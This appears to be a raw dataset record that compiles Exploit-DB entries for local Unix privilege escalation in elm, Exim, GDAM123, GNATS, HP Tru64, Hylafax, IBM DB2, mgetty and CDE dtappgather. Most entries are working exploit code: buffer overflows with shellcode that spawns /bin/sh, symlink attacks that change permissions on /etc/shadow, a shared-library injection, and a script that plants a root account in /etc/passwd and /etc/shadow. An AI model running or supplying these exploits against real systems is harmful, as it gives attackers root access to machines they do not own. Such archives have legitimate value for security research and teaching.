deardaniel/secdata-raw huggingface dataset:
Exploit-DB #19972
Description: Elm Development Group ELM 2.4/2.5.1 Mail for UNIX - ELM Buffer Overflow (2)
Type: local
Platform: unix
Date: 2000-05-27
Author: Buffer0verfl0w

Exploit:
// source: https://www.securityfocus.com/bid/1276/info
 
Buffer overflow vulnerabilities exist in elm (Electronic Mail for Unix). 

/* 
  Elm 2.5 PL3 exploit 
  Tested Under Linux Slackware 3.6, 4.0, 7.0
  By xfer (xfer@oko.lo2.szczecin.pl)
  Of Buffer0verfl0w Security
  At Sat May 27 18:52:14 CEST 2000
  HowTo: Hmmm.. Ya have to play with offset.
  MoreInfo: Elm is shit, it has bug in each option or function ;>.
*/ 
#include <stdio.h>
#include <unistd.h>
#define PATH "/usr/local/bin/elm"
#define BUFFER 256
#define NOP 0x90
                   /* setregid + generic shell code */
char shellcode[] = "\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1\x0c\x31\xc0\xb0"
                   "\x47\xcd\x80\x31\xdb\x31\xc9\xb3\x0c\xb1\x0c\x31\xc0\xb0"
		   "\x47\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07"
		   "\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd"
		   "\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f"
		   "\x62\x69\x6e\x2f\x73\x68";
unsigned long get_esp(void) {
  __asm__("movl %esp, %eax"); 
}
int main(int argc,char *argv[]){
 char buff[BUFFER];
 int x,offset=0;
 long address;
 if(argc>1) offset=atoi(argv[1]);
 address = get_esp() + offset;
 fprintf(stderr,"Address: 0x%lx\nOffset: %d\nShellSize: %d\n",address,offset,strlen(shellcode));
 for(x=3;x<BUFFER;x+=4) *(int *)&buff[x]=address;
 for(x=0;x<(BUFFER-strlen(shellcode));x++) buff[x]=NOP;
 memcpy(buff+(BUFFER-strlen(shellcode)),shellcode,strlen(shellcode));
 setenv("SHELL",buff,1);
 if((execl(PATH,"elm",0)) < 0) fprintf(stderr,"Kurwa Mac! No %s file ?\n",PATH);
 return 0;
}
Exploit-DB #20333
Description: Exim Buffer 1.6.2/1.6.51 - Local Overflow
Type: local
Platform: unix
Date: 1997-07-21
Author: D. J. Bernstein

Exploit:
/*
source: https://www.securityfocus.com/bid/1859/info

A potential local root yielding buffer overflow vulnerability exists in Exim mail client version 1.62. 

A buffer used in processing filenames of message attachments can be overflowed by a maliciously-formed filename. As a result, the excessive data copied onto the stack can overwrite critical parts of the stack frame such as the calling functions' return address. Since this data is supplied by the user it can be a crafted so that alter the program's flow of execution. If properly exploited, this can yield root privilege to the attacker.
*/

/* sample code for one OS/compiler combination; ./this ./exim -bt you */

char code[] = {
0x31,0xc0 /* eax = 0 */
, 0x50 /* push eax */
, 0xbb,0x98,0x30,0x04,0x00 /* ebx = 0x43098; &seteuid in my copy of exim */
, 0xff,0xd3 /* call ebx */
, 0x31,0xc0
, 0x50
, 0xb8,0x9a,0xd1,0x03,0x00 /* eax = 0x3d19a; &"/bin/sh" in my copy of exim */
, 0x50
, 0x50
, 0xbb,0xf8,0x29,0x04,0x00 /* ebx = 0x429f8; &execl in my copy of exim */
, 0xff,0xd3
, 0x00 /* just to terminate the last string in the environment */
} ;

char buf[1000];
char *env[1001];

void main(argc,argv)
int argc;
char **argv;
{
int i;
int j;

for (i = 0;i < sizeof buf;++i) buf[i] = 0x90; /* nop */
memcpy(buf + sizeof buf - sizeof code,code,sizeof code);

j = 0;
env[0] = buf;
for (i = 0;i < sizeof buf;++i) if (!buf[i]) env[++j] = buf + i + 1;
env[j] = 0;

if (argv[1]) execve(argv[1],argv + 1,env);
exit(1);
}
Exploit-DB #20042
Description: Flowerfire Sawmill 5.0.21 - Weak Password Encryption
Type: local
Platform: unix
Date: 2000-06-26
Author: Larry W. Cashdollar

Exploit:
// source: https://www.securityfocus.com/bid/1403/info

Sawmill is a site statistics package for Unix, Windows and Mac OS. Passwords are encrypted using a weak hash function. This combined with the file disclosure vulnerability in Sawmill (bid = 1402) could allow an attacker to read the contents of sawmill's password file, then decrypt the password and gain Sawmill administrative capabilities. 

/*Decrypt password for Sawmill admin account.

Larry W. Cashdollar
lwc@vapid.betteros.org
http://vapid.betteros.org
usage ./decrypt cyphertext

*/

#include <stdio.h>



char *alpha ="abcdefghijklmnopqrstuvwxyz[PII_REDACTED]!@#$%^&*()_+~<>?:\"{}|";
char *encode="=GeKMNQS~TfUVWXY[abcygimrs\"#$&-]FLq4.@wICH2!oEn}Z%(Ovt{z";

int
main (int argc, char **argv)
{

  int x, y;
  char cypher[128];

  strncpy (cypher, argv[1], 128);

  for (x = 0; x < strlen (cypher); x++)
    {

      for (y = 0; y < strlen (encode); y++)
        if (cypher[x] == encode[y])
          printf ("%c", alpha[y]);

    }

printf("\n\"+\" could also be a space [ ]\n");

}
Exploit-DB #21760
Description: GDAM123 0.933/0.942 - Filename Buffer Overflow
Type: local
Platform: unix
Date: 2002-08-24
Author: Netric Security

Exploit:
// source: https://www.securityfocus.com/bid/5578/info

The GDAM123 command-line MP3 player is prone to a buffer overflow condition when handling overly long filenames. Under some circumstances, the player may be installed setuid root to allow unprivileged users to run the player if access to certain devices is required. In a situation such as this, the buffer overflow may be exploited to gain elevated privileges via the execution of arbitrary code. 

/* gdam123(client) proof of concept exploit by sacrine
 * An unchecked buffer in filename option
 * Netric Security (RESOURCE MATERIAL)
 * http://www.netric.org
 *
 * ./gdam123-expl -3300
 * greets: All members of Netric, my girlfriend
 */

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>

// #define BUFLEN	2148
#define BUFLEN	(2157 + 9) 
#define NOP	0x90

char shellcode[] =
       "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
       "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
       "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(int argc, char **argv)
{
	unsigned long ret = 0xbffff090;
	char 	buffer[BUFLEN];
	char 	egg[1024];
	char	*ptr;
	int	i=0;
	unsigned long offset ; 

	if (argc > 1) 
		ret = ret - atol(argv[1]) ;

	memset(buffer,NOP,sizeof(buffer));
	ptr=egg;
	
	for (i=0; i<1024-strlen(shellcode)-1;i++)*(ptr++) = '\x90';
	for (i=0; i<strlen(shellcode);i++)*(ptr++) = shellcode[i];
	
	egg[1024-1] = '\0';
	memcpy(egg,"EGG=",4);
	putenv(egg);
	
	memset(buffer, 0x41, sizeof(buffer)); 
	buffer[BUFLEN-5] = (ret & 0x000000ff);
	buffer[BUFLEN-4] = (ret & 0x0000ff00) >> 8;
	buffer[BUFLEN-3] = (ret & 0x00ff0000) >> 16;
	buffer[BUFLEN-2] = (ret & 0xff000000) >> 24;
	buffer[BUFLEN-1] = 0x00;
	
	printf("gdam123 proof of concept exploit by sacrine\n");
	printf("ret: 0x%x\n",ret);
	printf("buf: %d\n\n",strlen(buffer));
	
	execl("gdam123", "gdam123_hacked",buffer, NULL);
	return(0);
}
Exploit-DB #20179
Description: Gert Doering mgetty 1.1.19/1.1.20/1.1.21/1.22.8 - Symbolic Link Traversal
Type: local
Platform: unix
Date: 2000-08-25
Author: Stan Bubrouski

Exploit:
source: https://www.securityfocus.com/bid/1612/info

A vulnerability exists in a portion of the mgetty package, by Gert Doering. By exploiting a flaw in the faxrunq and faxrunqd programs, it is possible for local users to create arbitrary files, and alter arbitrary files on the filesystem. This in turn can lead to local root compromise.

The faxrunq and faxrunqd programs will follow symbolic links. By creating a symbolic link named .last_run in /var/spool/fax/outgoing, and running the faxrunqd or faxrunq program, arbitrary files can be created. Existing files will have their contents overwritten.

mgetty is a popular getty replacement package that supports fax receipt and transmission. It runs on a wide range of systems, and is distributed with a number of popular Linux distributions. It is also part of the OpenBSD and FreeBSD ports packages. It is not, however, installed by default on either system.

mgetty is marked BROKEN in the OpenBSD ports package because of this problem and users are not able to install it.

ln -s /TEST /var/spoo/fax/outgoing/.lastrun
faxrunqd -l ttyS0
Exploit-DB #22939
Description: GNU GNATS 3.113.1_6 - Queue-PR Database Command Line Option Buffer Overflow
Type: local
Platform: unix
Date: 2003-07-21
Author: inv[at]dtors

Exploit:
source: https://www.securityfocus.com/bid/8232/info

A stack overflow vulnerability has been reported for the queue-pr utility of GNATS. The vulnerability occurs due to insufficient checks performed on the arguments to the '-d' commandline option. 

Successful exploitation may result in the execution of attacker-supplied code with potentially elevated privileges.

#!/usr/bin/perl

# Simple PoC exploit for gnats
# Tested on FreeBSD 5.0 with gnats-3.113.1_6
# if all works it gives gnats access

# Code by inv[at]dtors

$ret_hex = 0xbfbffb90;
$shellcode ="\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x54\x53\x52\x31\xc0\xb0\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
$nops = "\x90"x1110;
$ret = pack('l', $ret_hex);

$exploit = "$nops"."$shellcode"."$ret"."$ret";
local($ENV{'EXP'}) = $exploit; 

print "\ndtors gnats exploit\n";
print "code by inv\n\n";
print ("Address: 0x", sprintf('%lx', $ret_hex),"\n\n");

system('/usr/local/libexec/gnats/queue-pr -d $EXP -O bbb');
Exploit-DB #19108
Description: HP HP-UX 10.20/11.0 / IBM AIX 4.3 / SCO Unixware 7.0 / Sun Solaris 2.6 - Change File Permission
Type: local
Platform: unix
Date: 1999-11-03
Author: Mastoras

Exploit:
source: https://www.securityfocus.com/bid/131/info

Due to improper checking of ownership, the dtappgather utility shipped with the Common Desktop Environment allows arbitrary users to overwrite any file present on the filesystem, regardless of the owner of the file. 

dtappgather uses a directory of permissions 0777 to create temporary files used by each login session. /var/dt/appconfig/appmanager/generic-display-0 is not checked for existence prior to the opening of the file by dtappgather, and as such, if a user were to create a symbolic link from this file to another on the filesystem, the permissions of this file would be changed to 0666.

An additional bug exists whereby dtappgather blindly uses the contents of the DTUSERSESSION environment variable. By setting this variable to point to a file on the filesystem, its permissions can also be changed. As this command takes place relative to the /var/dt/appconfig directory, a series of '..' are required to establish the root directory, after which any file can be altered.

% ls -l /etc/shadow
-r--r--r-- 1 root other 1500 Dec 29 18:21 /etc/shadow
% ln -s /etc/shadow /var/dt/appconfig/appmanager/generic-display-0
% dtappgather
MakeDirectory: /var/dt/appconfig/appmanager/generic-display-0: File exists
% ls -l /etc/shadow
-r-xr-xr-x 1 user users 1500 Dec 29 18:21 /etc/shadow
---------------------------------------------
$ id
uid=6969(foo) gid=666(bar)
$ ls -l /etc/shadow
-r-------- 1 root sys 234 Nov 7 1999 /etc/shadow
$ env DTUSERSESSION=../../../../../../../etc/shadow dtappgather
$ ls -l /etc/shadow
-r-xr-xr-x 1 foo bar 234 Nov 7 1999 /etc/shadow
Exploit-DB #21773
Description: HP Tru64 - NLSPATH Environment Variable Local Buffer Overflow (2)
Type: local
Platform: unix
Date: 2002-08-30
Author: digitalmunition

Exploit:
source: https://www.securityfocus.com/bid/5647/info
 
Tru64 is a commercially available UNIX operating system. Tru64 was originally developed by Digital and is now distributed and maintained by HP.
 
A buffer overflow has been discovered in a number of Tru64 binaries. Attackers may exploit this via an overly long value for the NLSPATH environment variable. Because of this flaw, a local attacker may be able to execute arbitrary instructions. As a result, the attacker may be able to execute malicious code and elevate privileges. 

#!/usr/bin/perl -w
#
# based on work by stripey from back in the day
# kf_lists[at]digitalmunition[dot]com
#
# http://www.digitalmunition.com

$sc .= "\x30\x15\xd9\x43\x11\x74\xf0\x47\x12\x14\x02\x42";
$sc .= "\xfc\xff\x32\xb2\x12\x94\x09\x42\xfc\xff\x32\xb2";
$sc .= "\xff\x47\x3f\x26\x1f\x04\x31\x22\xfc\xff\x30\xb2";
$sc .= "\xf7\xff\x1f\xd2\x10\x04\xff\x47\x11\x14\xe3\x43";
$sc .= "\x20\x35\x20\x42\xff\xff\xff\xff\x30\x15\xd9\x43";
$sc .= "\x31\x15\xd8\x43\x12\x04\xff\x47\x40\xff\x1e\xb6";
$sc .= "\x48\xff\xfe\xb7\x98\xff\x7f\x26\xd0\x8c\x73\x22";
$sc .= "\x13\x05\xf3\x47\x3c\xff\x7e\xb2\x69\x6e\x7f\x26";
$sc .= "\x2f\x62\x73\x22\x38\xff\x7e\xb2\x13\x94\xe7\x43";
$sc .= "\x20\x35\x60\x42\xff\xff\xff\xff";

print "Shellcode is " . length($sc) . " bytes long \n";

$tlen = (1024-(length($sc)))/4;

$ENV{"NLSPATH"} = "";
system("ulimit -c 10000");
# 0x14001019a Compaq Tru64 UNIX V5.0 (Rev. 910) (TruNastyWhore.localdomain) 
$ret = "\x9a\x01\x01\x40\x01";
$ENV{"NLSPATH"}= pack("l",0x47ff041f) x ($tlen) . $sc . $ret;
exec("/usr/bin/rdist -c DMr0x");
Exploit-DB #21774
Description: HP Tru64 4.0/5.0/5.1 - _XKB_CHARSET Local Buffer Overflow
Type: local
Platform: unix
Date: 2002-07-10
Author: stripey

Exploit:
source: https://www.securityfocus.com/bid/5648/info

Tru64 is a commercially available Unix operating system originally developed by Digital. It is distributed and maintained by HP.

A buffer overflow has been discovered in the _XKB_CHARSET library. A number of programs depend on the library, including dxconsole, dxpause and dtsession. Because of this flaw, it may be possible for a local user to execute arbitrary instructions. This could lead to the execution of attacker-supplied code, and elevated privileges. 

#!/usr/bin/perl -w
#
# Tru64 5.1 _XKB_CHARSET
#
# stripey (stripey@snosoft.com) - 10/07/2002
#                                 

$tgts{"0"} = pack("l",0x40010250).":/usr/bin/X11/dxconsole:uid=root";
$tgts{"1"} = pack("l",0x40012584).":/usr/bin/X11/dxpause:uid=root";
$tgts{"2"} = pack("l",0x400101e4).":/usr/dt/bin/dtsession:euid=root";
                                  
unless (($target,$offset,$align) = @ARGV,$align) {           
                                  
        print "-"x72;
        print "\n      Tru64 _XKB_CHARSET overflow, stripey\@snosoft.com, 03/07/2002\n";
        print "-"x72;
        print "\n\nUsage: $0 <target> <offset> <align>\n\nTargets:\n\n";
                                  
        foreach $key (sort(keys %tgts)) {
                ($a,$b,$c) = split(/\:/,$tgts{"$key"});
                print "\t$key. $b ( $c )\n";
        }
       
        print "\n";
        exit 1;
}             

($a,$b) = split(/\:/,$tgts{"$target"});
                                  
print "*** Target: $b, Offset: $offset, Align: $align ***\n\n";
                                  
$ret = pack("ll",(unpack("l",$a)+$offset), 0x1);              
                                  
$sc .= "\x30\x15\xd9\x43\x11\x74\xf0\x47\x12\x14\x02\x42";
$sc .= "\xfc\xff\x32\xb2\x12\x94\x09\x42\xfc\xff\x32\xb2";
$sc .= "\xff\x47\x3f\x26\x1f\x04\x31\x22\xfc\xff\x30\xb2";
$sc .= "\xf7\xff\x1f\xd2\x10\x04\xff\x47\x11\x14\xe3\x43";
$sc .= "\x20\x35\x20\x42\xff\xff\xff\xff\x30\x15\xd9\x43";
$sc .= "\x31\x15\xd8\x43\x12\x04\xff\x47\x40\xff\x1e\xb6";
$sc .= "\x48\xff\xfe\xb7\x98\xff\x7f\x26\xd0\x8c\x73\x22";
$sc .= "\x13\x05\xf3\x47\x3c\xff\x7e\xb2\x69\x6e\x7f\x26";
$sc .= "\x2f\x62\x73\x22\x38\xff\x7e\xb2\x13\x94\xe7\x43";
$sc .= "\x20\x35\x60\x42\xff\xff\xff\xff";               
                                  
$buf_a  = "A"x256;
$buf_a .= $ret;

$buf_b  = "B"x$align;
if ($target eq "2" ) {     
        $buf_b .= pack("l",0x47ff041f)x56;
} else {
        $buf_b .= pack("l",0x47ff041f)x3750;
}
$buf_b .= $sc;                        
    
$ENV{"_XKB_CHARSET"} = $buf_a;
$ENV{"HOME"} = $buf_b;       
                    
exec("$b");
Exploit-DB #21807
Description: HP Tru64/OSF1 DXTerm - Local Buffer Overflow
Type: local
Platform: unix
Date: 2002-07-03
Author: stripey

Exploit:
source: https://www.securityfocus.com/bid/5746/info

The HP Tru64/OSF1 dxterm utility is prone to a locally exploitable buffer overflow condition. This issue is due to insufficient checking of command line input supplied via the "-xrm" parameter. This parameter serves the same purpose as the "-customization" command line parameter, which is also not sufficiently checked. 

Since this utility is installed setuid root, code execution that results from successful exploitation of this issue will yield root privileges on the system.

#!/usr/bin/perl -w
#
# Tru64 5.1 /usr/bin/X11/dxterm
#
# stripey (stripey@snosoft.com) - 03/07/2002
#

($offset) = @ARGV,$offset || ($offset = 0);

$ret_addr = pack("ll",(0x4001c828+$offset),0x1);

$sc .= "\x30\x15\xd9\x43\x11\x74\xf0\x47\x12\x14\x02\x42";
$sc .= "\xfc\xff\x32\xb2\x12\x94\x09\x42\xfc\xff\x32\xb2";
$sc .= "\xff\x47\x3f\x26\x1f\x04\x31\x22\xfc\xff\x30\xb2";
$sc .= "\xf7\xff\x1f\xd2\x10\x04\xff\x47\x11\x14\xe3\x43";
$sc .= "\x20\x35\x20\x42\xff\xff\xff\xff\x30\x15\xd9\x43";
$sc .= "\x31\x15\xd8\x43\x12\x04\xff\x47\x40\xff\x1e\xb6";
$sc .= "\x48\xff\xfe\xb7\x98\xff\x7f\x26\xd0\x8c\x73\x22";
$sc .= "\x13\x05\xf3\x47\x3c\xff\x7e\xb2\x69\x6e\x7f\x26";
$sc .= "\x2f\x62\x73\x22\x38\xff\x7e\xb2\x13\x94\xe7\x43";
$sc .= "\x20\x35\x60\x42\xff\xff\xff\xff";

$buf_a .= pack("l",0x47ff041f)x2048;
$buf_a .= $sc;
$buf_a .= $ret_addr;

exec("/usr/bin/X11/dxterm","-customization",$buf_a);
Exploit-DB #19590
Description: Hylafax Hylafax 4.0.2 - Local Buffer Overflow
Type: local
Platform: unix
Date: 1999-11-03
Author: Brock Tellier

Exploit:
// source: https://www.securityfocus.com/bid/765/info

Hylafax is a popular fax server software package designed to run on multiple UNIX operating systems. Some versions of Hylafax ship with a vulnerable sub program 'faxalter'. This program is installed SUID UUCP and has a buffer overflow which if exploited will allow a malicious user to gain UUCP privileges.

Because the important programs are executed as root, such as Minicom (a popular modem terminal program) or cu(1) and are in the UUCP group and therefore writable by the same group they could be trojaned by the attacker. A successful scenario in this event would lead to a root compromise.

/* EXPLOIT
bash-2.03$ uname -a; ls -la `which faxalter`; id
FreeBSD  3.3-RELEASE FreeBSD 3.3-RELEASE #0: Thu Sep 16 23:40:35 GMT
1999
         jkh@highwing.cdrom.com:/usr/src/sys/compile/GENERIC  i386
-r-sr-xr-x  1 uucp  bin  72332 Sep 11 03:32 /usr/local/bin/faxalter
uid=1000(xnec) gid=1000(xnec) groups=1000(xnec), 0(wheel)
bash-2.03$ /home/xnec/faxalterx
$ id
uid=1000(xnec) euid=66(uucp) gid=1000(xnec) groups=1000(xnec), 0(wheel)
$
*/

/*
 * Faxalter exploit for FreeBSD 3.3/hylafax-4.0.2 yields euid=66(uucp)
 * Brock Tellier btellier@usa.net
 */

#include <stdio.h>

char shell[]= /* mudge@lopht.com */
   "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
   "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
   "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
   "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";


main (int argc, char *argv[] ) {
 int x = 0;
 int y = 0;
 int offset = 0;
 int bsize = 4093; /* overflowed buf's bytes + 4(ebp) + 4(eip) + 1 */
 char buf[bsize];
 int eip = 0xbfbfcfad;

 if (argv[1]) {
   offset = atoi(argv[1]);
   eip = eip + offset;
 }
 fprintf(stderr, "eip=0x%x offset=%d buflen=%d\n", eip, offset, bsize);

 for ( x = 0; x < 4021; x++) buf[x] = 0x90;
     fprintf(stderr, "NOPs to %d\n", x);

 for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y];
     fprintf(stderr, "Shellcode to %d\n",x);

  buf[x++] = eip & 0x000000ff;
  buf[x++] = (eip & 0x0000ff00) >> 8;
  buf[x++] = (eip & 0x00ff0000) >> 16;
  buf[x++] = (eip & 0xff000000) >> 24;
     fprintf(stderr, "eip to %d\n",x);

 buf[bsize - 1]='\0';

 execl("/usr/local/bin/faxalter", "faxalter", "-m", buf, NULL);

}
Exploit-DB #33572
Description: IBM DB2 - 'REPEAT()' Local Heap Buffer Overflow
Type: local
Platform: unix
Date: 2010-01-27
Author: Evgeny Legerov

Exploit:
source: https://www.securityfocus.com/bid/37976/info

IBM DB2 is prone to a heap-based buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data.

Attackers can exploit this issue to execute arbitrary code with elevated privileges or crash the affected application.

The issue affects the following:

IBM DB2 versions prior to 9.1 Fix Pack 9
IBM DB2 9.7

Other versions may also be affected. 

SELECT REPEAT(REPEAT('1',1000),[PII_REDACTED]) FROM SYSIBM.SYSDUMMY1
Exploit-DB #22989
Description: IBM DB2 - Shared Library Injection
Type: local
Platform: unix
Date: 2003-08-05
Author: daniels@legend.co.uk

Exploit:
source: https://www.securityfocus.com/bid/8346/info

IBM DB2 ships with a number of shared libraries, stored in a directory owned by the user and group 'bin'. As setuid root utilities are linked to these libraries, their ownership by a user and group of a lower privilege level constitutes a vulnerability. If an attacker can obtain user or group bin privileges, the shared libraries can be overwritten with malicious replacements designed to obtain root privileges from the setuid root utilities that use them.

#!/usr/bin/perl

#IBM DB2 local root from uid=bin 
#deadbeat,
#e:	daniels@legend.co.uk
#e:	deadbeat@sdf.lonestar.org

print "\nIBM db2 local bin escape to root sploit\n";
print "Preparing exploit...\n";

system("cd /usr/IBMdb2/V7.1/lib");
open FILEHANDLE, (">foo.c")or die "Cant open foo for writing..:(\n";
print FILEHANDLE "#include <stdio.h>\n";
print FILEHANDLE "#include <string.h>\n\n";
print FILEHANDLE "_init() {\n";
print FILEHANDLE "\tprintf(\"init..()\\n\");\n";
print FILEHANDLE "\tprintf(here we go: PID=\%i EUID=\%i\", getpid(), getuid());\n";
print FILEHANDLE "\tsystem(\"/bin/bash\");\n";
print FILEHANDLE "\tprintf(\"wicked done and dusted..\\n\")\n";
print FILEHANDLE "}";
close FILEHANDLE;
system("gcc -fpic -shared -o libdl.so.2 foo.c");
exec("db2dari")
Exploit-DB #22988
Description: IBM DB2 db2job - File Overwrite
Type: local
Platform: unix
Date: 2003-08-05
Author: Juan Manuel Pascual EscribÃ¡

Exploit:
source: https://www.securityfocus.com/bid/8344/info

IBM's DB2 database ships with a utility called db2job, installed with permissions 4550 and owned by root.db2asgrp. 

It has been reported that db2job writes to a number of files with root privileges. The files written to are created with 0770 permissions (owner, group writeable) and are owned by root.db2asgrp. If a symbolic link is written to, the file pointed to will be overwritten and given these permissions. This can be exploited by local attackers with execute privileges to gain root access by writing malicious data to sensitive files (such as /etc/passwd, /etc/shadow) that have been overwritten.

It should be noted, however, that db2job is allegedly not world-executable by default. The two members of group db2asgrp, db2as and db2inst1, are the only users besides root that would normally have execute access. If the attacker can run commands or gain the access level of those accounts, they may further elevate their access level through exploitation of this vulnerability.

#!/bin/bash

DB2JOB=/home/db2as/sqllib/adm/db2job
CRONFILE=/etc/cron.hourly/pakito
USER=pakito

unset DB2INSTANCE
export DB2DIR=./trash

if [ -d $DB2DIR ]; then
echo Trash directory already created
else
mkdir $DB2DIR
fi

cd $DB2DIR
if [ -f ./0_1.out ]; then
echo Link Already Created
else
ln -s $CRONFILE ./0_1.out
fi

$DB2JOB


echo "echo "#!/bin/bash"" > $CRONFILE
echo "echo "$USER:x:0:0::/:/bin/bash" >> /etc/passwd" >> $CRONFILE
echo "echo "$USER::12032:0:99999:7:::" >> /etc/shadow" >> $CRONFILE
echo " must wait until cron execute $CRONFILE and then exec su pakito"